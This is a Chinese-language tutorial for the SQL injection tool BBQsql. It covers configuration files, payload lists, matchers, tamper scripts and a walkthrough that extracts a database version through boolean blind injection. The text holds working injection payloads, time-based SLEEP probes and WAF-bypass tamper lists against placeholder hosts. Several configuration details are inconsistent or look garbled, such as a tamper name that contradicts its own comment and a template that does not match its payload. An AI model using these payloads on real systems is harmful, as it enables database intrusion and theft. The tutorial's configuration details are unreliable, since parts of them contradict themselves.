BBQsql 使用教程
目录
- 什么是 BBQsql?
- 为什么选择 BBQsql?(与 sqlmap 的区别)
- 安装与环境准备
- 核心概念
- Payloads
- Matchers
- Probes
- Tamper Scripts
- 基本用法
- 从
GET请求开始 - 从
POST请求开始 - 使用 Burp Suite 导出请求
- 从
- 高级用法
- 自定义 Payloads
- 自定义 Matchers
- 使用 Probes 进行时间盲注
- 使用 Tamper 绕过 WAF
- 实战演练
- 布尔盲注
- 时间盲注
- 总结与最佳实践
什么是 BBQsql?
BBQsql 是一款用 Python 编写的、高度可定制的 SQL 注入自动化工具,它不同于传统的“一键式”工具(如 sqlmap),它的核心优势在于灵活性和可定制性,BBQsql 不会猜测如何注入,而是让你通过配置文件(通常是 YAML 文件)精确地定义注入点、攻击载荷、响应匹配规则和延迟策略。

你可以把它想象成一个“智能的 SQL 注入攻击框架”,你需要为它编写“剧本”(配置文件),然后它就会严格按照你的剧本进行表演。
为什么选择 BBQsql?(与 sqlmap 的区别)
| 特性 | BBQsql | sqlmap |
|---|---|---|
| 核心思想 | 可定制、灵活性高 | 自动化、开箱即用 |
| 注入方式 | 需要手动配置注入点() | 自动识别并测试多种注入点 |
| Payloads | 完全自定义,可使用文件 | 内置大量 Payload,自动选择 |
| 检测机制 | 需要自定义匹配器 | 自动分析响应,判断注入类型 |
| 学习曲线 | 较高,需要理解配置 | 较低,命令简单 |
| 适用场景 | 复杂、非标准、需要精细控制的注入 | 标准化、快速的漏洞扫描和利用 |
| 绕过 WAF | 依赖自定义 Tamper 脚本 | 内置多种 Tamper 脚本 |
一句话总结:
- 用 sqlmap 当你面对一个标准的、明显的注入点,想快速搞定它。
- 用 BBQsql 当你面对一个刁钻的、被 WAF 保护的、或者需要你精心设计攻击载荷的场景。
安装与环境准备
BBQsql 依赖于 Python 2.7 和一些第三方库。
步骤 1:安装 Python 2.7 大多数现代系统默认是 Python 3,所以你可能需要单独安装 Python 2.7。
- macOS (使用 Homebrew):
brew install python@2 - Ubuntu/Debian:
sudo apt-get install python2.7
步骤 2:安装 BBQsql
通过 pip 安装是最简单的方式,请确保使用 pip2。
pip2 install bbqsql
步骤 3:验证安装 安装完成后,可以查看帮助信息来确认是否成功。
bbqsql.py -h
如果看到帮助信息,说明安装成功。
核心概念
理解 BBQsql 的关键在于理解其配置文件中的四个核心部分。
Payloads
这是你想要注入的 SQL 语句片段,BBQsql 会将 Payloads 中的内容替换掉请求中的 占位符。
示例:
# payloads.txt 文件内容 ' AND 1=1 AND '1'='1 ' AND 1=2 AND '1'='1 ' OR 1=1-- ' OR 1=2--
在配置文件中,你会这样引用它:
settings:
...
request:
...
payloads:
file: payloads.txt
Matchers
这是 BBQsql 用来判断注入是否成功(Payload 是否有效)的规则,它通过对比原始响应和注入后的响应来寻找差异。
示例:
假设原始页面返回 "Welcome, user!",而注入 1=1 的页面也返回 "Welcome, user!",但注入 1=2 的页面返回 "Login failed",我们可以这样定义 Matcher:
settings:
...
matchers:
- type: regex
part: body
regex: "Welcome, user!" # 如果响应体中包含这个,则认为注入成功
这里 type: regex 表示使用正则表达式匹配,part: body 表示在响应体中查找,regex 是要匹配的内容。
Probes
Probes 是专门用于时间盲注和布尔盲注的特殊 Payloads,它们不关心返回的数据内容,而是通过观察响应时间或特定标记来判断条件的真假。
时间盲注示例:
# probes.txt 文件内容 (SLEEP(5)) # 如果条件为真,则延迟5秒
在配置文件中:
settings:
...
request:
...
probes:
file: probes.txt
BBQsql 会自动尝试 1=1 和 1=2 的 Probe,如果前者导致明显延迟,而后者没有,就确认了这是一个时间盲注点。
Tamper Scripts
Tamper(篡改)脚本用于在发送 Payload 之前对它进行修改,以绕过 Web 应用防火墙 或其他安全防护,BBQsql 内置了一些简单的 Tamper,也支持自定义。
示例:
settings:
...
tamper:
- space2comment # 将空格替换为 /*/
- single quotes # 对单引号进行编码
基本用法
从 GET 请求开始
假设我们有一个存在 SQL 注入的 URL:http://test.com/search.php?id={}
步骤 1:创建配置文件 (config_get.yaml)
# --- General Settings ---
# 设置重试次数,避免因网络问题失败
retries: 3
# 设置并发数,同时发送多少个请求
concurrency: 1
# --- Request Settings ---
# 定义要发送的 HTTP 请求
request:
# 请求方法
method: GET
# URL,{} 是注入点
url: "http://test.com/search.php?id={}"
# 注入点对应的载荷文件
payloads:
file: payloads.txt
# 请求头(可选)
headers:
User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
Cookie: "session_id=abc123"
# --- Matcher Settings ---
# 定义如何判断注入是否成功
matchers:
- type: regex
# 匹配响应体
part: body
# 正则表达式,匹配 "Welcome, user!" 表示登录成功(即 1=1 为真)
regex: "Welcome, user!"
# 当 1=1 和 1=2 的响应都匹配此正则时,忽略此 matcher
# 这对于像 "Login successful" / "Login failed" 这样的场景很重要
negative: true
# --- Probe Settings (for blind injection) ---
# 定义用于时间盲注的载荷
probes:
# 使用内置的 SLEEP(5) 作为 probe
- "(SELECT SLEEP(5))"
步骤 2:创建 Payloads 文件 (payloads.txt)
' AND 1=1 AND '1'='1 ' AND 1=2 AND '1'='1
步骤 3:运行 BBQsql
bbqsql.py -c config_get.yaml
步骤 4:分析输出 BBQsql 会依次发送两个请求,并输出结果,告诉你哪个 Payload 被判定为有效。
从 POST 请求开始
POST 请求的配置与 GET 类似,关键在于正确设置 request 部分。
场景: 登录表单,用户名固定,密码参数存在注入:username=admin&password={}
配置文件 (config_post.yaml)
settings:
retries: 3
concurrency: 1
request:
method: POST
url: "http://test.com/login.php"
headers:
Content-Type: "application/x-www-form-urlencoded"
data: "username=admin&password={}" # 数据部分,{} 是注入点
payloads:
file: passwords.txt # 假设我们尝试爆破密码
matchers:
- type: regex
part: body
regex: "Dashboard" # 登录成功后跳转到 Dashboard
negative: true # 1=1 (密码正确) 匹配 "Dashboard", 1=2 (密码错误) 不匹配
Payloads 文件 (passwords.txt)
' OR '1'='1 ' OR '1'='2 admin123
运行
bbqsql.py -c config_post.yaml
使用 Burp Suite 导出请求
这是 BBQsql 最常用的方式之一,因为它可以让你轻松地从浏览器或 Burp 中捕获复杂的请求。
步骤 1:在 Burp Suite 中拦截请求 你拦截到了一个包含 JSON 数据的 POST 请求:
{
"username": "test",
"comment": "This is a comment"
}
并且你怀疑 comment 参数存在注入。
步骤 2:复制请求
在 Burp 的 HTTP history 或 Intruder 标签页中,右键点击该请求,选择 Copy -> Copy as cURL。
步骤 3:转换为 BBQsql 配置 将 cURL 命令粘贴到在线转换工具(如 curlconverter.com)中,它会生成 Python 代码,你需要手动将其修改为 BBQsql 的 YAML 格式。
转换后的配置 (config_burp.yaml)
settings:
retries: 3
concurrency: 1
request:
method: POST
url: "http://test.com/api/comment"
headers:
User-Agent: "..."
Content-Type: "application/json"
Accept: "*/*"
# 将 JSON 数据中的注入点用 {} 标记
data: '{"username": "test", "comment": {}}'
payloads:
file: json_payloads.txt
matchers:
- type: regex
part: body
regex: "comment posted successfully"
negative: true
Payloads 文件 (json_payloads.txt)
对于 JSON 注入,载荷需要是有效的 JSON 值。
" AND 1=1 AND " " AND 1=2 AND "
高级用法
自定义 Payloads
你可以不使用文件,而是直接在配置文件中定义 Payloads,这对于简单的测试很方便。
request:
payloads:
# 直接定义一个列表
values:
- "'"
- "''"
- "' OR 1=1--"
自定义 Matchers
除了 regex,还有其他类型的 Matcher。
status: 匹配 HTTP 状态码。diff: 比较两个响应的差异(响应长度变化)。code: 执行 Python 代码进行复杂判断。
示例 (diff matcher):
matchers:
- type: diff
# 比较原始响应和注入响应的 body 部分
part: body
# 如果响应内容有差异,则认为注入成功
使用 Probes 进行时间盲注
时间盲注是 BBQsql 的强项,配置好后,它会自动进行猜解。
配置文件 (config_blind.yaml)
settings:
retries: 3
concurrency: 1
request:
url: "http://test.com/search.php?id={}"
payloads:
# 布尔盲注的 payloads,用于猜测字符
file: boolean_payloads.txt
probes:
# 时间盲注的 payloads,用于确认
- "(SELECT SLEEP(5))"
matchers:
# 这个 matcher 用于判断是否是布尔盲注
- type: regex
part: body
regex: "Welcome, user!"
negative: true
# --- 新增:Blind Injection Settings ---
# 这是时间盲注的核心配置
blind:
# 基于时间延迟判断
type: time
# 延迟阈值,单位是秒,响应时间超过这个值就认为条件为真
time_threshold: 4
# 猜测的数据类型,可以是 string, int, binary
datatype: string
# 要猜测的字符集
charset: 'abcdefghijklmnopqrstuvwxyz0123456789'
# 要猜测的数据长度
length: 32
使用 Tamper 绕过 WAF
当遇到简单的 WAF 时,可以尝试内置的 Tamper。
settings:
...
tamper:
# 空格替换为注释
- space2comment
# 大小写混淆
- case
# 等号替换为 LIKE
- equal2like
# 双引号替换为反引号
- doublequotes2singlequotes
实战演练
假设目标网站存在一个基于搜索功能的 SQL 盲注,搜索关键词为 test,URL 为 http://test.com/search?q=test,我们怀疑 q 参数存在注入。
目标: 利用布尔盲注获取数据库版本。
步骤 1:分析
- 这是一个
GET请求。 - 注入点在
q参数后。 - 当搜索结果存在时,页面显示 "Found 10 results",当不存在时,显示 "No results found",这是判断布尔值的依据。
步骤 2:编写配置文件 (config_practice.yaml)
settings:
retries: 3
concurrency: 1
request:
method: GET
url: "http://test.com/search?q=test AND {}" # 将注入点放在 AND 后面
payloads:
# 我们直接在这里定义用于猜解的布尔 payload
values:
- "1=1"
- "1=2"
headers:
User-Agent: "Mozilla/5.0..."
matchers:
# 匹配 "Found 10 results",表示查询成功
- type: regex
part: body
regex: "Found 10 results"
# 当 1=1 匹配,1=2 不匹配时,此 matcher 有效
negative: true
# --- Blind Injection Settings ---
# 配置 BBQsql 进行盲注猜解
blind:
type: boolean # 使用布尔盲注
# 定义一个 payload 模板,BBQsql 会自动填充猜解的字符和条件
# payload 模板:' AND (SELECT SUBSTRING(version(), 1, 1) = '{CHAR}') AND '1'='1
# {CHAR} 会被替换为 charset 中的字符
# {TRUE} 会被替换为 matcher 中判定为真的 payload (这里是 1=1)
# {FALSE} 会被替换为 matcher 中判定为假的 payload (这里是 1=2)
payload: "AND (SELECT SUBSTRING(version(), 1, {POSITION}) = '{CHAR}') AND {TRUE}"
# 猜解的数据类型
datatype: string
# 字符集
charset: '0123456789.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
# 要猜解的数据长度,比如版本号长度为 10
length: 10
步骤 3:运行
bbqsql.py -c config_practice.yaml
步骤 4:解读结果
BBQsql 会自动遍历 version() 的每一个字符(从第1位到第10位),对每个位置,它会用 charset 中的字符去尝试,直到找到能让 matcher 条件为真的字符,它会输出猜解出的完整字符串,即数据库版本。
总结与最佳实践
- 从简单开始: 先用最简单的布尔盲注配置验证你的想法,再逐步过渡到时间盲注或更复杂的场景。
- 善用 Burp: 使用 Burp Suite 捕获和转换请求是最高效的方式。
- 理解 Matcher: Matcher 是 BBQsql 的“大脑”,定义好 Matcher 是成功的关键,务必理解
negative参数的用法。 - 编写清晰的配置: 为你的配置文件和载荷文件起一个有意义的名字,并添加注释,方便日后回顾。
- 耐心调试: BBQsql 没有按预期工作,99% 的问题出在配置文件上(通常是 Matcher 或 Payload 定义错误),仔细检查你的配置,并使用
-v参数(bbqsql.py -c config.yaml -v)查看详细的请求和响应信息,这是调试的利器。
BBQsql 是一把锋利的“手术刀”,虽然上手比 sqlmap 难,但一旦掌握,你就能应对各种复杂的 SQL 注入场景,希望这份教程能帮助你开启 BBQsql 的学习之旅!
